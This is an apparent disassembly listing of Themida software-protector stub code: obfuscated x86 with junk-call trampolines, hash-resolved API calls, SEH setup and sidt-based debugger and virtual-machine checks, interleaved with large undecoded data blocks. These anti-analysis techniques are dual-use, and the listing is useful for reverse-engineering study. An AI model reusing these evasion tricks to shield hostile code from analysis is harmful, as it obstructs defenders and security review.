		dd 0DF1734BFh, 0FE1950Bh, 0B5FF0611h, 613F3F6h,	0C598D29h
		dd 0BD890611h, 611182Dh, 0C4195FFh, 6A0611h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0FB2A1BC3h
		dd 7E9h, 50710D00h, 531DF64Ah, 850FC085h, 0Ah, 530202BAh
		dd 2B23BF66h, 6A305Bh, 12E9h, 0BA6B3900h, 210767A3h, 377C6BABh
		dd 381B886Bh, 68A4FA2Ah, 80h, 0D7816660h, 6A612F34h, 95F28103h
		dd 6A1B3AB1h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0D20F0671h, 467C0C16h, 6A1D4Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 75C35545h, 68276C42h
		dd 0C0000000h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0C4C35646h, 7A5440CAh, 14E9DAFFh, 0D4000000h, 9F737795h
		dd 9D5CB6F0h, 294BD2C2h, 0ED2D6203h, 0FF03D168h, 13F46EB5h
		dd 1DB58906h, 0FF061121h, 112A5D95h, 0C1958B06h, 83061100h
		dd 850FFFF8h, 512h, 0FFFBB70Fh,	13FEDC85h, 5E906h, 38970000h
		dd 83140B66h, 13FEDCBDh, 840F0206h, 3B3h, 0B0D8D8Bh, 858D0611h
		dd 5B243Bh, 0E8D2BF0Fh,	6, 40C4C2E7h, 958B938Eh, 6111561h
		dd 60D0FF5Fh, 30A18D89h, 0EF810611h, 60163043h,	8E858D61h
		dd 0F9005B1Eh, 8F98D8Bh, 0D0FF0611h, 21F1B589h,	0C08B0611h
		dd 0BD83D08Bh, 61125F1h, 83097500h, 11243DBDh, 19740006h
		dd 0C08B5350h, 7D8B8h, 4D858900h, 8D06111Dh, 13B2299Dh
		dd 5BD3FF06h, 3DBD8358h, 61124h, 53501774h, 7D8B8h, 4D858900h
		dd 8D06111Dh, 13AF189Dh, 5BD3FF06h, 8CC98158h, 0E934F415h
		dd 0Ah,	0A7904CB9h, 0E5FBAAB2h,	0BD892C33h, 6112055h, 8D89C08Bh
		dd 61112EDh, 0F003F68h,	958D8B00h, 6A061121h, 699D8900h
		dd 6A061123h, 618D8900h, 0FF06111Fh, 1122A195h,	12E906h
		dd 6FB0000h, 9C8B2FE1h,	0BD018DEBh, 22794B82h, 2AAEA514h
		dd 810FC085h, 0Ch, 6890Fh, 0F1810000h, 2A56A7B3h, 0F3F28589h
		dd 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 68403DC3h, 0F01FFh, 5DBD8952h, 5906111Dh
		dd 1E29BD83h, 0F000611h, 1684h,	0DA816600h, 858DC720h
		dd 613F44Fh, 35E9h, 99B58900h, 8D061113h, 13F42585h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0C3226E32h, 8A339B9Bh, 33058D8Bh, 0F8500611h, 0F3F2B5FFh
		dd 8C0F0613h, 0Ch, 68B0Fh, 0BD8B0000h, 6110B6Dh, 2631BD89h
		dd 95FF0611h, 613F3EAh,	52CA8B66h, 38D0Fh, 0CE800000h
		dd 8589598Dh, 613F3F6h,	0F185C7F9h, 61100h, 0E9000000h
		dd 14h,	2F0C3787h, 687C2E4Ch, 0B045EC6h, 9EB7B242h, 583849E2h
		dd 0F3F6BD83h, 0F000613h, 19E84h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 90C9FB1Eh
		dd 8B5E581Ah, 0D4858DCFh, 500613F6h, 1CF28166h,	66535A49h
		dd 0E8DCE981h, 0B360505Ah, 6A61F8FDh, 0D8D8B01h, 0FF061100h
		dd 13F3F6B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 4C0E010Ch, 0C718589h, 95FF0611h
		dd 613F3EEh, 0F98B6656h, 6D950B59h, 0FF061108h,	13F3F6B5h
		dd 0D38B6606h, 0C4195FFh, 85890611h, 611181Dh, 0F01FF68h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 5E9A9h, 0F8970000h, 837D07B3h, 111E29BDh
		dd 840F0006h, 1Ch, 18558D09h, 8D310611h, 611039Dh, 0F44F858Dh
		dd 0F4BF0613h, 0E961CFA4h, 0Ch,	0F425858Dh, 950B0613h
		dd 6112289h, 93B2F550h,	0F3F2B5FFh, 6A0613h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0C2583EC3h
		dd 0F3EA95FFh, 9D290613h, 61129D1h, 68E0Fh, 9D290000h
		dd 6112249h, 0F3F68589h, 8D8B0613h, 61114F1h, 0F3F6B5FFh
		dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 95FFFBC3h, 613F3E6h, 0F3F6B5FFh, 6A0613h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 5C6390C3h, 0FFD18B66h, 110C4195h, 85B52906h,	0E906110Bh
		dd 0FFFFF73Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0E5C35242h, 0FF6AAF83h,	13FF3FB5h, 0A995FF06h
		dd 8906111Dh, 110355B5h, 85858B06h, 0F061127h, 1284h, 7E800h
		dd 221A0000h, 66577F7h,	0D28166BBh, 0E95F325Fh,	5BEh, 0F4B58DFCh
		dd 6A0613F6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0F733C350h, 0ABE3F77Eh, 0E99D34BDh
		dd 0Ah,	0CF91B71Bh, 4124D77Dh, 858DFE9Fh, 613A44Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FC35646h, 4D8AB014h
		dd 319958Bh, 0FFFC0611h, 65B966D0h, 0D5950B46h,	6A06110Fh
		dd 0E1B50900h, 81061112h, 6B118EDAh, 0A595FF2Fh, 0E8061132h
		dd 0Dh,	0D772FDDh, 0AD8936A4h, 6A0C2474h, 0BD8D035Dh, 5A06110Ah
		dd 6AF38Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BD891CC3h, 611263Dh, 7D9B529h, 858D0611h
		dd 613A44Dh, 24D9529h, 0D0FF0611h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 32C35343h, 4570C662h, 6A3EE4DCh
		dd 0D9B52900h, 0FF061133h, 1132A595h, 0C08BF506h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0CBC35545h, 0BD83BD10h
		dd 61125F1h, 83097500h,	11243DBDh, 19740006h, 0C08B5350h
		dd 7D9B8h, 4D858900h, 8D06111Dh, 13B2299Dh, 5BD3FF06h
		dd 3DBD8358h, 61124h, 53501774h, 7D9B8h, 4D858900h, 8D06111Dh
		dd 13AF189Dh, 5BD3FF06h, 5860F58h, 66000000h, 9AC8E181h
		dd 0DE960h, 0F86E0000h,	115ABAD0h, 9969892Ah, 616E68B4h
		dd 0D38AC08Bh, 498D8B50h, 8B06111Fh, 6660F8D8h,	5361F78Bh
		dd 17D9D8Dh, 38B0611h, 438B0389h, 50438950h, 0FED89D8Dh
		dd 38B0613h, 2B5B0389h,	111FD5BDh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 83824576h
		dd 6890F22h, 89000000h,	1124759Dh, 0E58D0106h, 6A061109h
		dd 95235600h, 61122C9h,	8D8D8B59h, 8D061104h, 13FED885h
		dd 0DA9BA06h, 89500C8Fh, 1121F185h, 66606A06h, 858DD08Bh
		dd 611017Dh, 2B218D8Bh,	8B500611h, 11090195h, 6A006A06h
		dd 68F500h, 60000018h, 25C5BD01h, 61FC0611h, 0F6BEBF53h
		dd 95FF5430h, 6110389h,	0FF6DDD80h
		dd 1105B995h, 5E806h, 0D0250000h, 8B529341h, 11316D95h
		dd 0B5FF5906h, 613FF3Fh, 6E8h, 89EDD00h, 89534D85h, 111E31B5h
		dd 95FF5A06h, 6111DA9h,	0A800Fh, 8B600000h, 110415B5h
		dd 61E58A06h, 17D858Dh,	0BF0F0611h, 18408BFEh, 3658D23h
		dd 85C70611h, 61127B1h,	0
; ---------------------------------------------------------------------------
		mov	edx, [ebp+6111BA5h]
		cmp	dword ptr [ebp+6111E29h], 0
		jz	loc_57C701
		jmp	loc_57C6C1
; ---------------------------------------------------------------------------
		dd 85E2820Ah, 268E3D5Fh, 94C1D82Ah, 0CF6E292Ch
		db 70h
; ---------------------------------------------------------------------------


loc_57C6C1:				; CODE XREF: Themida_:0057C6ABj
		sub	edi, [ebp+6110761h]
		cmp	eax, 8Ch
		jnb	loc_57C8B8
		mov	di, si
		jmp	loc_57C712
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_57C6E5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C6E5	proc near		; CODE XREF: Themida_:0057C6DDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_57C6E5	endp

; ---------------------------------------------------------------------------
		mov	cl, 96h
		mov	bh, 66h
		mov	ecx, eax
		mov	edi, [ebp+6112701h]


loc_57C701:				; CODE XREF: Themida_:0057C6A5j
		cmp	eax, 98h
		jnb	loc_57C8B8
		mov	[ebp+6111285h],	ecx


loc_57C712:				; CODE XREF: Themida_:0057C6D5j
		lea	eax, byte_5B243B[ebp]
		mov	ecx, [ebp+6111CFDh]
		call	eax
		jge	loc_57C732
		jmp	loc_57C732
; ---------------------------------------------------------------------------
		test	eax, 0E8CE7F25h
		mov	edx, [edi]


loc_57C732:				; CODE XREF: Themida_:0057C720j
					; Themida_:0057C726j
		sbb	dh, 75h
		lea	eax, dword_5B1E8E[ebp]
		push	0
		push	eax
		call	sub_57C746
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C746	proc near		; CODE XREF: Themida_:0057C73Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_57C746	endp

; ---------------------------------------------------------------------------
		xlat
		mul	byte ptr [eax]
		adc	al, 23h
		imul	ebp, [ecx], -43h
		dec	ebp
		sub	[ecx], edx
		push	es
		call	eax
		push	0
		push	ecx
		call	sub_57C76F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C76F	proc near		; CODE XREF: Themida_:0057C767p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_57C76F	endp

; ---------------------------------------------------------------------------
		db 9Eh
		dd 0D7F7AD4h, 2B635A1Ch, 11324195h, 0AE806h, 0AFA00000h
		dd 8DBB81C1h, 8FAACED1h, 7EC5D981h, 8B5A2D18h, 12E8C0h
		dd 915E0000h, 1B01C310h, 59041403h, 68393860h, 0A7E88A7Dh
		dd 14E9h, 0CEA08E00h, 0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah
		dd 1162BFBAh, 0BD835902h, 61125F1h, 83097500h, 11243DBDh
		dd 19740006h, 0C08B5350h, 0BC6B8h, 4D858900h, 8D06111Dh
		dd 13B2299Dh, 5BD3FF06h, 3DBD8358h, 61124h, 53501774h
		dd 0BC6B8h, 4D858900h, 8D06111Dh, 13AF189Dh, 5BD3FF06h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8BFF7357h, 1105158Dh, 8BF8F906h,	0FE8B66C0h
		dd 0FFFF883h, 3E85h, 85C7F800h,	6112311h, 0
; ---------------------------------------------------------------------------
		add	[ebp+6110E69h],	edx
		jmp	loc_57C96B
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_57C876
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C876	proc near		; CODE XREF: Themida_:0057C86Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_57C876	endp

; ---------------------------------------------------------------------------
		jecxz	short near ptr loc_57C886+1 ; CODE XREF: Themida_:loc_57C886j
		sub	[ebp+61102ADh],	esi
		jmp	loc_57C8AD
; ---------------------------------------------------------------------------
		cmp	eax, 1
		jnz	loc_57C8AD
		mov	[ebp+611077Dh],	eax
		jmp	loc_57C99E
; ---------------------------------------------------------------------------
		or	[ebp+6110C59h],	eax


loc_57C8AD:				; CODE XREF: Themida_:0057C88Ej
					; Themida_:0057C896j
		jmp	near ptr dword_57B638+493h
; ---------------------------------------------------------------------------
		mov	[ebp+6111D1Dh],	ebx


loc_57C8B8:				; CODE XREF: Themida_:0057C6CCj
					; Themida_:0057C706j
		mov	eax, eax
		mov	edx, [ebp+6112085h]
		cmp	dword ptr [ebp+61125F1h], 0
		jnz	short loc_57C8D2
		cmp	dword ptr [ebp+611243Dh], 0
		jz	short loc_57C8EB


loc_57C8D2:				; CODE XREF: Themida_:0057C8C7j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7DDh
		mov	[ebp+6111D4Dh],	eax
		lea	ebx, [ebp+613B229h]
		call	ebx
		pop	ebx
		pop	eax


loc_57C8EB:				; CODE XREF: Themida_:0057C8D0j
		cmp	dword ptr [ebp+611243Dh], 0
		jz	short loc_57C90B
		push	eax
		push	ebx
		mov	eax, 7DDh
		mov	[ebp+6111D4Dh],	eax
		lea	ebx, [ebp+613AF18h]
		call	ebx
		pop	ebx
		pop	eax


loc_57C90B:				; CODE XREF: Themida_:0057C8F2j
		xor	[ebp+6112871h],	edi
		push	0
		push	edi
		call	sub_57C91C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C91C	proc near		; CODE XREF: Themida_:0057C914p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_57C91C	endp

; ---------------------------------------------------------------------------
		imul	ecx, [eax+63h],	14h
		movsb
		pop	ds
		stosb
		db	66h
		aad	0BAh
		mov	eax, eax
		jb	loc_57C941
		sub	dh, 68h


loc_57C941:				; CODE XREF: Themida_:0057C938j
		jmp	loc_57CB50
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_57C951
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C951	proc near		; CODE XREF: Themida_:0057C949p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_57C951	endp

; ---------------------------------------------------------------------------
		db 1Fh,	0D5h, 0A9h
		dd 8BFB6C76h
; ---------------------------------------------------------------------------
		setalc
		mov	edx, eax


loc_57C96B:				; CODE XREF: Themida_:0057C866j
		lea	eax, [ebp+613FCDCh]
		pusha
		mov	[ebp+6110DEDh],	eax
		pusha
		or	edx, 57C791Ah
		mov	edi, [ebp+6111C4Dh]
		popa
		popa
		mov	edi, [ebp+61106A5h]
		mov	[ebp+613FED4h],	eax
		movsx	edi, cx
		jmp	loc_57C9B7
; ---------------------------------------------------------------------------
		sbb	dl, 0B3h


loc_57C99E:				; CODE XREF: Themida_:0057C8A2j
		lea	eax, [ebp+613FAE4h]
		mov	[ebp+6110875h],	eax
		inc	eax
		movsx	edi, ax
		mov	[ebp+613FED4h],	eax
		mov	cx, bx


loc_57C9B7:				; CODE XREF: Themida_:0057C996j
		push	34h
		lea	eax, [ebp+6110951h]
		push	eax
		push	dword ptr [ebp+613FED4h]
		push	0
		call	dword ptr [ebp+6110F7Dh]
		cmp	eax, 7
		jz	loc_57CB3F
		mov	bx, ds
		test	bl, 4
		jnz	loc_57CAE5
		mov	byte ptr [ebp+61106D1h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+6110ED1h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		push	4
		push	1000h
		push	64h
		push	0
		call	eax
		mov	[ebp+613FF47h],	eax
		mov	byte ptr [ebp+61106D1h], 47h
		push	0EC18AC9Bh
		push	dword ptr [ebp+6110ED1h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		call	eax
		mov	esi, eax
		mov	byte ptr [ebp+61106D1h], 4Fh
		push	0C62F2661h
		push	dword ptr [ebp+6111795h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		lea	ebx, [ebp+613FF43h]
		push	ebx
		push	28h
		push	esi
		call	eax
		test	eax, eax
		jnz	short $+2
		mov	byte ptr [ebp+61106D1h], 41h
		push	0DB876498h
		push	dword ptr [ebp+6111795h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		mov	[ebp+613FF60h],	eax
		mov	byte ptr [ebp+61106D1h], 4Ch
		push	80A4E7A4h
		push	dword ptr [ebp+6111795h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		mov	ebx, [ebp+613FF47h]
		lea	ebx, [ebx+4]
		push	ebx
		lea	ebx, [ebp+613FF4Ch]
		push	ebx
		push	0
		call	eax
		mov	ebx, [ebp+613FF47h]
		mov	dword ptr [ebx], 1
		mov	dword ptr [ebx+0Ch], 2
		mov	ebx, [ebp+61120F9h]
		mov	dword ptr [ebp+6111B51h], 0
		push	0
		push	0
		push	0
		mov	ebx, [ebp+613FF47h]
		push	ebx
		push	0
		push	dword ptr [ebp+613FF43h]
		call	dword ptr [ebp+613FF60h]


loc_57CAE5:				; CODE XREF: Themida_:0057C9DDj
		mov	byte ptr [ebp+61106D1h], 45h
		push	92A5F797h
		push	dword ptr [ebp+6110B09h]
		lea	eax, [ebp+6113AA6h]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_57CB3F
		mov	ebx, [ebp+613FF47h]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+613FF47h]
		push	ebx
		push	0
		push	dword ptr [ebp+613FF43h]
		call	dword ptr [ebp+613FF60h]
		push	dword ptr [ebp+613FF43h]
		call	dword ptr [ebp+61105B9h]


loc_57CB3F:				; CODE XREF: Themida_:0057C9D1j
					; Themida_:0057CB0Bj
		push	0
		call	dword ptr [ebp+61132A5h]
		mov	dx, cx
		mov	[ebp+6110791h],	edx


loc_57CB50:				; CODE XREF: Themida_:0057B0CBj
					; Themida_:loc_57B277j	...
		lea	eax, [ebp+61430A2h]
		mov	edx, 0B12BDA5h
		push	eax
		mov	[ebp+6110BB5h],	ecx
		push	large dword ptr	fs:0
		mov	di, bx
		mov	large fs:0, esp
		mov	ecx, eax
		cmp	dword ptr [ebp+6111DB9h], 0
		jz	loc_57CBE6
		mov	[ebp+6112715h],	edi
		cmp	dword ptr [ebp+6111B71h], 1
		jnz	loc_57CBE6
		mov	[ebp+6111CA1h],	ebx
		mov	dx, 0F55Dh
		cmp	byte ptr [ebp+6140360h], 0
		jnz	loc_57CBE6
		push	0
		push	ecx
		call	sub_57CBB7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CBB7	proc near		; CODE XREF: Themida_:0057CBAFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_57CBB7	endp

; ---------------------------------------------------------------------------
		db 7Fh
		dd 0A2C0E6E1h, 9FA25DA4h, 21E9BD8Bh, 75E90611h,	89000001h
		dd 110DA185h, 0F2816606h
		db 9Eh,	0A2h
; ---------------------------------------------------------------------------


loc_57CBE6:				; CODE XREF: Themida_:0057CB7Cj
					; Themida_:0057CB8Fj ...
		xor	ebx, ebx
		mov	edx, eax
		xor	eax, eax
		jmp	loc_57CC01
; ---------------------------------------------------------------------------
		db 0F8h, 27h, 3Dh
		dd 531B7186h, 0B6DD39B7h, 2E1F48A7h
		db 8Dh
; ---------------------------------------------------------------------------


loc_57CC01:				; CODE XREF: Themida_:0057CBECj
		inc	eax
; ---------------------------------------------------------------------------
		dw 3F0Fh
		dd 8F640B07h, 5, 4C48300h, 79F580FCh, 0FFFFB83h, 4084h
		dd 0E9FB8B00h, 5, 0E159774Bh, 118E9F8h,	6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 250A71C3h, 88A77652h, 6800F37h, 8B000000h, 11177D95h
		dd 71E906h, 9D290000h, 61117D9h, 0C244C8Bh, 0A481C7h, 0FFFF0000h
		dd 8183FFFFh, 0B8h, 0C3C03304h,	0C245C8Bh, 0E855h, 815D0000h
		dd 1430C4EDh, 0B8838B06h, 8D000000h, 14318A85h,	0B8838906h
		dd 5D000000h, 29C3C033h, 112B29BDh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 772EE9B2h
		dd 3D23E642h, 8DCB8BAAh, 1430BA85h, 0DE85006h, 0BF000000h
		dd 8951F090h, 15FD2326h, 263377D5h, 3C2202BFh, 0FF645A1Eh
		dd 35h,	14E900h, 0B7020000h, 42B903EEh,	5F89C888h, 0EE061E51h
		dd 0EB0F955Ch, 896461D6h, 25h, 0E1816600h, 0AB9C48Dh, 0B8000000h
		dd 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h, 810034B6h
		dd 345FE8EAh, 0FB81ED00h, 564D5868h, 85C70A75h,	611139Dh
		dd 1, 58F64h, 83000000h, 12E904C4h, 6D000000h, 826ED237h
		dd 0E571285Eh, 0AAC9A501h, 7685A360h, 89F58AF0h, 1133F1B5h
		dd 89C08B06h, 1112559Dh, 0F1BD8306h, 61125h, 0BD830975h
		dd 611243Dh, 50197400h,	0B8C08B53h, 43Dh, 0A498589h, 9D8D0611h
		dd 613B290h, 585BD3FFh,	243DBD83h, 74000611h, 0B8535017h
		dd 43Dh, 0A498589h, 9D8D0611h, 613AF31h, 585BD3FFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0BBC35545h, 0AACED18Dh
		dd 89E0E78Fh, 0FB8B6627h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 9BC35040h, 0E5E5DD4Eh, 4DB1E57Dh, 47E9C08Bh
		dd 4000001h, 31000000h,	3031392Eh, 7 dup(0)
		dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
		dd 50006E6Fh, 7361656Ch, 63202C65h, 61746E6Fh, 74207463h
		dd 73206568h, 7774666Fh, 20657261h, 65766564h, 65706F6Ch
		dd 77207372h, 20687469h, 20656874h, 6C6C6F66h, 6E69776Fh
		dd 6F632067h, 2E736564h, 61685420h, 79206B6Eh, 0A2E756Fh
		dd 200D0A0Dh, 20202020h, 28202020h, 73657270h, 54432073h
		dd 432B4C52h, 206E6F20h, 73696874h, 6E697720h, 20776F64h
		dd 63206F74h, 2079706Fh, 63206F74h, 6270696Ch, 6472616Fh
		dd 20202029h, 0A0D0A20h, 7265560Dh, 6E6F6973h, 203D2020h
		dd 0D0A7325h, 63656843h, 204E496Bh, 25203D20h, 430D0A64h
		dd 6B636568h, 2054554Fh, 6425203Dh, 72500D0Ah, 4E49636Fh
		dd 3D202020h, 0A642520h, 6F72500Dh, 54554F63h, 203D2020h
		dd 0D0A6425h, 74697845h, 20204E49h, 25203D20h, 450D0A64h
		dd 4F746978h, 20205455h, 6425203Dh, 50540D0Ah, 20206E69h
		dd 3D202020h, 0A642520h, 0BD83000Dh, 6110E65h, 2D840F00h
		dd 8D000001h, 13AD4885h, 858D5006h, 613ACB2h, 16850h, 95FF8000h
		dd 613AD58h, 3259858Dh,	8D500614h, 14326385h, 6A5006h
		dd 858D006Ah, 613ACC6h,	48B5FF50h, 0FF0613ADh, 1117A995h
		dd 59858D06h, 50061432h, 3267858Dh, 6A500614h, 8D006A00h
		dd 13ACD885h, 0B5FF5006h, 613AD48h, 17A995FFh, 858D0611h
		dd 6143259h, 73858D50h,	50061432h, 6A006Ah, 0AD25858Dh
		dd 0FF500613h, 13AD48B5h, 0A995FF06h, 8D061117h, 14325985h
		dd 858D5006h, 614327Bh,	6A006A50h, 43858D00h, 500613ADh
		dd 0AD48B5FFh, 95FF0613h, 61117A9h, 3259858Dh, 8D500614h
		dd 14327785h, 6A5006h, 858D006Ah, 613AD2Ch, 48B5FF50h
		dd 0FF0613ADh, 1117A995h, 59858D06h, 50061432h,	326B858Dh
		dd 6A500614h, 8D006A00h, 13AD3485h, 0B5FF5006h,	613AD48h
		dd 17A995FFh, 858D0611h, 6143259h, 6F858D50h, 50061432h
		dd 6A006Ah, 0AD3B858Dh,	0FF500613h, 13AD48B5h, 0A995FF06h
		dd 0FF061117h, 13AD48B5h, 8595FF06h, 0E9061113h, 0A2h
		dd 1471BD83h, 0F000611h, 9584h,	71BD8300h, 6111Bh, 11850Fh
		dd 958B0000h, 6110F85h,	1CF8C281h, 0FE90000h, 8D000000h
		dd 11017D95h, 34528B06h, 0C340C281h, 95893BD4h,	611006Dh
		dd 6DBD83h, 0F000611h, 5584h, 6D9D8B00h, 83061100h, 38B4CC3h
		dd 32638589h, 9D8B0614h, 611006Dh, 8B50C383h, 67858903h
		dd 8B061432h, 11006D9Dh, 54C38306h, 8589038Bh, 6143273h
		dd 6D9D8Bh, 0C3830611h,	89038B58h, 14327785h, 6D9D8B06h
		dd 83061100h, 38B5CC3h,	326B8589h, 0BD830614h, 6110E65h
		dd 0D850F00h, 83000000h, 111471BDh, 840F0006h, 68h, 327BB5FFh
		dd 0B5FF0614h, 614326Fh, 326BB5FFh, 0B5FF0614h,	6143277h
		dd 3273B5FFh, 0B5FF0614h, 6143267h, 3263B5FFh, 858D0614h
		dd 614325Dh, 95858D50h,	50061432h, 1001858Dh, 0FF500611h
		dd 11281D95h, 24C48306h, 858D406Ah, 614327Fh, 1858D50h
		dd 50061110h, 95FF006Ah, 6110F7Dh, 95FF016Ah, 61132A5h
		dd 18EBC18Bh, 9B46F317h, 5 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_57D3F0
; ---------------------------------------------------------------------------


loc_57D1E5:				; CODE XREF: Themida_:0057D1FAj
		pusha
		mov	ebx, [esp+24h]
		call	$+5
		pop	ebp
		sub	ebp, 6143629h
		popa
		retn	4
; ---------------------------------------------------------------------------
		jmp	loc_57D1E5
; ---------------------------------------------------------------------------


loc_57D1FF:				; CODE XREF: Themida_:0057D204j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57D1FF
; ---------------------------------------------------------------------------


loc_57D209:				; CODE XREF: Themida_:0057D20Ej
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57D209
; ---------------------------------------------------------------------------


loc_57D213:				; CODE XREF: Themida_:0057D218j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57D213
; ---------------------------------------------------------------------------


loc_57D21D:				; CODE XREF: Themida_:0057D222j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_57D21D
; ---------------------------------------------------------------------------
		align 4
		dd 0
		dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 143661B5h,	0E68106h
		dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h,	143665B5h
		dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h,	8C6650C3h
		dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
		dd 611006Dh, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh,	2404FF58h
		dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 110D9D95h, 10F5006h
		dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h,	2588966h
		dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 611006Dh
		dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
		dd 0A03E380h, 38840FDBh, 0BB000000h, 2,	6D858Bh, 18860611h
		dd 850FDB0Ah, 0FFFFFFF6h, 0A185C7h, 611h, 448B0000h, 988B0824h
		dd 1000h, 10009889h, 188B0000h,	0AE91889h, 0C7000000h
		dd 1100A185h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
		dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
		dd 13h,	2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
		dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
		dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
		dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
		dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
		dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
		dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
		dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh
; ---------------------------------------------------------------------------


loc_57D3F0:				; CODE XREF: Themida_:0057D1E0j
		mov	ax, ds
		test	al, 4
		jz	loc_57D424
		mov	dword ptr [ebp+6143606h], 1
		push	eax
		sidt	fword ptr [esp-2]
		pop	dword ptr [ebp+614360Ah]
